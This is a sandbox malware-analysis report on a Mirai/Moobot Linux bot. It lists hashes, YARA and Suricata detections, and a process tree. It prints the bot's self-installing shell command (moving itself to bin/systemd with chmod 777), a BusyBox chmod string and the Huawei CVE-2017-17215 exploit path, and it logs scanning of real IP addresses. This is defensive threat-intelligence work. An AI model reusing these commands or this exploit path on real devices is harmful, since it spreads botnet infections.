Edit tour

Linux Analysis Report
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf

Overview

General Information

Sample name:	77.90.35.9-skid.x86-2024-07-30T07_10_50.elf
Analysis ID:	1488567
MD5:	7ae5be556ab3fc6c787afaa3f0b439e0
SHA1:	bb82b50eefc28e4b83be7e0818e7592341b7375f
SHA256:	71305d2b0c443a9a50492ceb49c1c812df937f58e69def3f1e472ac4dc06c9bb
Tags:	elf
Infos:

Detection

Mirai, Moobot

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Yara detected Moobot

Connects to many ports of the same IP (likely port scanning)

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample tries to set the executable flag

Sets full permissions to files and/or directories

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Yara signature match

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1488567
Start date and time:	2024-08-06 08:32:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	77.90.35.9-skid.x86-2024-07-30T07_10_50.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@22/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/77.90.35.9-skid.x86-2024-07-30T07_10_50.elf
PID:	5479
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	qazwsxedc
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 5466, Parent: 3633)

rm (PID: 5466, Parent: 3633, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.jDFRi6SF5M /tmp/tmp.3H8VVeFViH /tmp/tmp.NEn2OScaYF

dash New Fork (PID: 5467, Parent: 3633)

rm (PID: 5467, Parent: 3633, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.jDFRi6SF5M /tmp/tmp.3H8VVeFViH /tmp/tmp.NEn2OScaYF

77.90.35.9-skid.x86-2024-07-30T07_10_50.elf (PID: 5479, Parent: 5399, MD5: 7ae5be556ab3fc6c787afaa3f0b439e0) Arguments: /tmp/77.90.35.9-skid.x86-2024-07-30T07_10_50.elf

77.90.35.9-skid.x86-2024-07-30T07_10_50.elf New Fork (PID: 5480, Parent: 5479)

sh (PID: 5480, Parent: 5479, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/77.90.35.9-skid.x86-2024-07-30T07_10_50.elf bin/systemd; chmod 777 bin/systemd"

sh New Fork (PID: 5481, Parent: 5480)

rm (PID: 5481, Parent: 5480, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/systemd

sh New Fork (PID: 5482, Parent: 5480)

mkdir (PID: 5482, Parent: 5480, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 5483, Parent: 5480)

mv (PID: 5483, Parent: 5480, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/77.90.35.9-skid.x86-2024-07-30T07_10_50.elf bin/systemd

sh New Fork (PID: 5484, Parent: 5480)

chmod (PID: 5484, Parent: 5480, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/systemd

77.90.35.9-skid.x86-2024-07-30T07_10_50.elf New Fork (PID: 5485, Parent: 5479)

77.90.35.9-skid.x86-2024-07-30T07_10_50.elf New Fork (PID: 5486, Parent: 5485)

77.90.35.9-skid.x86-2024-07-30T07_10_50.elf New Fork (PID: 5487, Parent: 5485)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://media.defense.gov/2024/Feb/27/2003400753/-1/-1/0/CSA-RUSSIAN-ACTORS-USE-ROUTERS-FACILITATE-CYBER_OPERATIONS.PDF https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xcb38:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcbb0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcbc4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcbd8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcbec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcca0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xccb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xccc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	Linux_Trojan_Gafgyt_5bf62ce4	unknown	unknown	0xac80:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x30b0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	Linux_Trojan_Mirai_5f7b67b8	unknown	unknown	0xb6e9:$a: 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0xd491:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x7bf2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xaaaf:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x936a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x7bc2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0xd686:$s1: LCOGQGPTGP 0xd51f:$s3: CFOKLKQVPCVMP 0xd507:$s4: QWRGPTKQMP 0xd49d:$s5: HWCLVGAJ
77.90.35.9-skid.x86-2024-07-30T07_10_50.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xd25a:$x2: /bin/busybox chmod 777 * /tmp/ 0xcfc0:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Click to see the 9 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5479.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
5479.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5479.1.0000000008048000.0000000008058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5479.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xcb38:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb4c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb60:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb74:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb88:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcb9c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcbb0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcbc4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcbd8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcbec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc00:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc14:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc28:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc3c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc50:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc64:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcc8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xcca0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xccb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xccc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
5479.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Gafgyt_5bf62ce4	unknown	unknown	0xac80:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
5479.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x30b0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
5479.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_5f7b67b8	unknown	unknown	0xb6e9:$a: 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C
5479.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0xd491:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
5479.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x7bf2:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
5479.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xaaaf:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
5479.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x936a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
5479.1.0000000008048000.0000000008058000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x7bc2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
5479.1.0000000008048000.0000000008058000.r-x.sdmp	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0xd686:$s1: LCOGQGPTGP 0xd51f:$s3: CFOKLKQVPCVMP 0xd507:$s4: QWRGPTKQMP 0xd49d:$s5: HWCLVGAJ
5479.1.0000000008048000.0000000008058000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xd25a:$x2: /bin/busybox chmod 777 * /tmp/ 0xcfc0:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf PID: 5479	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf PID: 5479	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf PID: 5479	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Process Memory Space: 77.90.35.9-skid.x86-2024-07-30T07_10_50.elf PID: 5479	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x8aa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8be:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8d2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8e6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x8fa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x90e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x922:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x936:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x94a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x95e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x972:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x986:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x99a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9ae:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9c2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9d6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9ea:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x9fe:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa12:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa26:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xa3a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 13 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.132.197.53

Timestamp:	2024-08-06T08:33:19.248423+0200
SID:	2835222
Source Port:	58586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.94.142.206

Timestamp:	2024-08-06T08:33:19.607534+0200
SID:	2835222
Source Port:	36802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.87.34.185

Timestamp:	2024-08-06T08:33:19.235164+0200
SID:	2835222
Source Port:	39766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.91.92.162

Timestamp:	2024-08-06T08:33:19.309654+0200
SID:	2835222
Source Port:	41842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.129.180.128

Timestamp:	2024-08-06T08:33:19.271619+0200
SID:	2835222
Source Port:	32772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.31.225.47

Timestamp:	2024-08-06T08:33:20.926162+0200
SID:	2835222
Source Port:	33150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.212.248.151

Timestamp:	2024-08-06T08:33:19.251836+0200
SID:	2835222
Source Port:	54040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.26.135.46

Timestamp:	2024-08-06T08:33:17.814328+0200
SID:	2835222
Source Port:	33728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.37.199.204

Timestamp:	2024-08-06T08:33:20.930086+0200
SID:	2835222
Source Port:	33790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.105.22.195

Timestamp:	2024-08-06T08:33:19.609837+0200
SID:	2835222
Source Port:	34420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.94.64.176

Timestamp:	2024-08-06T08:33:20.950213+0200
SID:	2835222
Source Port:	56982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.75.73.10

Timestamp:	2024-08-06T08:33:19.231707+0200
SID:	2835222
Source Port:	52820
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.39.210.77

Timestamp:	2024-08-06T08:33:19.610049+0200
SID:	2835222
Source Port:	53542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.236.195.48

Timestamp:	2024-08-06T08:33:19.641477+0200
SID:	2835222
Source Port:	50118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.62.200.129

Timestamp:	2024-08-06T08:33:17.822171+0200
SID:	2835222
Source Port:	34216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.255.113.130

Timestamp:	2024-08-06T08:33:19.215718+0200
SID:	2835222
Source Port:	60396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.214.35.214

Timestamp:	2024-08-06T08:33:19.348117+0200
SID:	2835222
Source Port:	46640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.241.157.232

Timestamp:	2024-08-06T08:33:20.942069+0200
SID:	2835222
Source Port:	37278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.210.111.60

Timestamp:	2024-08-06T08:33:20.942112+0200
SID:	2835222
Source Port:	47194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.235.232.193

Timestamp:	2024-08-06T08:33:19.267570+0200
SID:	2835222
Source Port:	37152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.76.241.245

Timestamp:	2024-08-06T08:33:19.214016+0200
SID:	2835222
Source Port:	42160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.67.232.65

Timestamp:	2024-08-06T08:33:24.480382+0200
SID:	2835222
Source Port:	39316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.64.14.175

Timestamp:	2024-08-06T08:33:20.942111+0200
SID:	2835222
Source Port:	33952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.178.121.45

Timestamp:	2024-08-06T08:33:19.267912+0200
SID:	2835222
Source Port:	36100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

